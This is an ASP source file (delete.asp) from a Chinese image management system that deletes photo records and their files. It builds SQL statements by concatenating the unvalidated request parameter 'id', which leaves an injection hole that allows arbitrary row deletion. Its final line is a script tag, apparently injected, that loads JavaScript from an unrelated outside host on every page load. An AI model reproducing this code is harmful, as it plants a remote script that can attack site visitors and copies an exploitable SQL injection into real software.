delete.asp

一款有用的图片管理系统

<!--#include file="conn.asp"-->
<!--#include file="check.asp"-->
<% 
set fo=server.CreateObject("Scripting.FileSystemObject")
id=Request("id")
titleID=clng(request.QueryString("titleID"))
page=request.QueryString("page")
if id="" or isnull(id) then
 Response.Redirect("manage.asp?page="&page)
end if
i=0
set rs=conn.execute("select photo from [imgbook] where ID in(" & id &")")
do while not rs.eof
	FilePath=rs("photo")&","&FilePath
	rs.movenext
	i=i+1
loop
rsclose
conn.execute("delete from imgbook where ID in(" & id &")")
conn.execute("update title set titleCount=titleCount-"&i&" where titleID="&titleID)

FilePath=split(FilePath,",")
for each FileName in FilePath
	if FileName<>"" then
		fo.DeleteFile server.MapPath(FileName)
	end if
next
set fo=nothing
response.Redirect("manage.asp?page="&page)
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>